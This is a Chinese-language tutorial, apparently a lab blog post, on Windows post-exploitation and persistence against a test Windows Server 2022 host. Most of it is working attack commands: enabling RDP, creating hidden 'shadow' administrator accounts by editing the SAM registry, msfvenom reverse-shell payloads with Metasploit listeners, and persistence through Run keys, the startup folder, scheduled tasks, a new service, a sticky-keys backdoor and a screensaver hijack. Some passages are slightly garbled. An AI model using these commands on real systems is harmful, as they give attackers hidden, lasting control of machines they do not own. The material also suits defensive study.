环境准备
攻击机 kali 192.168.1.100
小鸡鸡 Windows Server(2022) 192.168.1.101
对于本地复现环境搭建
kali:
编辑一下网络配置文件
sudo nano /etc/network/interfaces
注释掉#source /etc/network/interfaces.d/*
添加剩下的(可直接复制下面代码)
GNU nano 7.2 /etc/network/interfaces
This file describes the network interfaces available on your system
and how to activate them. For more information, see interfaces(5).
#source /etc/network/interfaces.d/*
The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4
重启网络
sudo systemctl restart networking
成功截图
但是我踩坑了,不知道为什么
所以我们直接在这里添加即可(无语死了
然后如果还是有奇怪的问题修改
/etc/resolv.conf
即可
windows sever2022
直接更改ipv4配置如下图
尝试相互ping通
ok环境配置完成
3389的开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
开完了可以检测一下
netstat -an|find “3389”
影子用户和半影子用户的创建
使用图形用户界面(GUI)
通过“计算机管理”查看用户
:
按 Windows + R 键打开运行对话框,输入 compmgmt.msc 并按回车,打开“计算机管理”控制台。
在左侧导航栏中,展开 本地用户和组,然后点击 用户。在右侧窗格中,你将看到所有本地用户的列表。
通过“服务器管理器”查看用户
:
打开“服务器管理器”。
点击左侧的“本地服务器”,然后在右侧的“属性”部分中,找到并点击 计算机管理。
在“计算机管理”窗口中,展开 本地用户和组,然后点击 用户,你将看到所有本地用户的列表。
使用命令行界面(CLI)
通过命令提示符(CMD)查看用户
:
打开命令提示符(可以通过按 Windows + R,输入 cmd,然后按回车打开)。
输入以下命令并按回车,查看所有本地用户:
cmd复制代码net user
这将显示一个所有本地用户的列表。
通过PowerShell查看用户
:
打开PowerShell(可以通过按 Windows + R,输入 powershell,然后按回车打开)。
输入以下命令并按回车,查看所有本地用户:
powershell复制代码Get-LocalUser
这将显示一个所有本地用户的列表。
远程查看用户(通过Active Directory)
如果你的服务器是域控制器或者连接到域,你可以通过Active Directory用户和计算机(ADUC)来查看域用户:
通过“Active Directory用户和计算机”查看用户:
按 Windows + R 键打开运行对话框,输入 dsa.msc 并按回车,打开“Active Directory用户和计算机”控制台。
在左侧导航栏中,展开你的域,然后点击 用户 或 组织单位(OU)。在右侧窗格中,你将看到域中的所有用户
半影子
net user test$ /add
net localgroup administrators test$ /add
全影子
cmd输入regedit
找到
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\
导出test
看到administrator是什么类型在user找到
复制Administrator 中的F键值
找到test$的f值替换
将Administrator账户所复制的值,粘贴到hack
对应的
F
值中然后我们再去删除隐藏账户
t
e
s
t
对应的F值中 然后我们再去删除隐藏账户test
对应的F值中然后我们再去删除隐藏账户test
net user test$ /del
现在计算机管理器和注册表都看不到了
然后执行刚刚导出的reg
这时我们会发现注册表中重新出现了test$这个用户
但是在net user是看不到的
登陆同样如此
不过这个远程登陆会挤号
msf php反向连接
生成
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php
kali:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
然后shell.php传到网站目录下运行
就会发现成功链接
接下来我们实现最简单的windows持久化
windows run注册表持久化
生成一个
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.100 lport=3333 -f exe > cmd32.exe
shikata_ga_nai是一个评分很高的编辑器 -i编码五次
host是攻击机的ip
msf exe
tmp文件夹是缓存目录,次路径可改
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /vPentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"
Run
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
作用:该项中的程序会在每次系统启动时运行。适用于持久性需求,即程序会在每次启动时自动执行。
RunOnce
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
作用:该项中的程序仅会在下次系统启动时运行一次,然后从注册表中删除。这适用于需要只运行一次的任务。
RunServices
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
作用:该项中的服务会在每次系统启动时运行。与 Run 类似,但专门针对服务。
RunServicesOnce
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
作用:该项中的服务会在下次系统启动时运行一次,然后从注册表中删除。这适用于需要只运行一次的服务。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 3333
exploit
成功实现最基础的windows run注册表持久化
开机自动启动(无需admin权限普通用户即可)
win+r 输入shell:common startup
把木马拖进去就行
持久性计划任务(普通用户权限)
30分钟执行一次
schtasks /create /tn system1 /tr “C:\tmp\cmd32” /sc onidle /i 30
新服务
sc create cmd binpath= "cmd.exe /k C:\temp\cmd32.exe" start= auto obj= "LocalSystem"
sc start cmd
DLL劫持
这个见我上一篇文章,这个还有个思路就是劫持后可以写一个添加管理员用户
粘黏键后门
点击五次shift
首先我们执行
cacls c:\windows\system32\*.* /T /E /G administrators:F
获得权限
然后我们就发现
点击五次shift即可出现
但是这个不是终极形态
在锁屏情况下依然可以调用cmd
屏幕保护程序windows权限维持
regedit
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
SCRNSAVE.EXE
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
说明:指定屏幕保护程序的路径。如果要设置某个特定的屏幕保护程序,可以将其完整路径设置为该键的值。
示例:C:\Windows\System32\scrnsave.scr
ScreenSaveActive
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
说明:指定屏幕保护程序是否启用。值为 1 表示启用,0 表示禁用。
示例:
启用屏幕保护程序:1
禁用屏幕保护程序:0
ScreenSaverIsSecure
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
说明:指定屏幕保护程序是否需要密码保护。值为 1 表示启用密码保护,0 表示禁用。
示例:
启用密码保护:1
禁用密码保护:0
ScreenSaveTimeOut
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
说明:指定屏幕保护程序启动前的等待时间,以秒为单位。
示例:
设置等待时间为 5 分钟:300
.scr 文件实际上是一个可执行文件,类似于 .exe 文件。它们可以包含相同的代码,并且可以执行相同的任务
- 当用户在 Windows 上双击 .scr 文件时,它通常会启动并以全屏模式运行,显示预设的动画、图像或视频。
- 如果在设置中选择了 .scr 文件作为屏幕保护程序,系统会在空闲时间达到设定值时自动运行该文件
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\cmd32.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\cmd32.scr
powershell
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\cmd32.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\cmd32.scr'
一旦机器不活动时间段过去,将执行payload,建立交互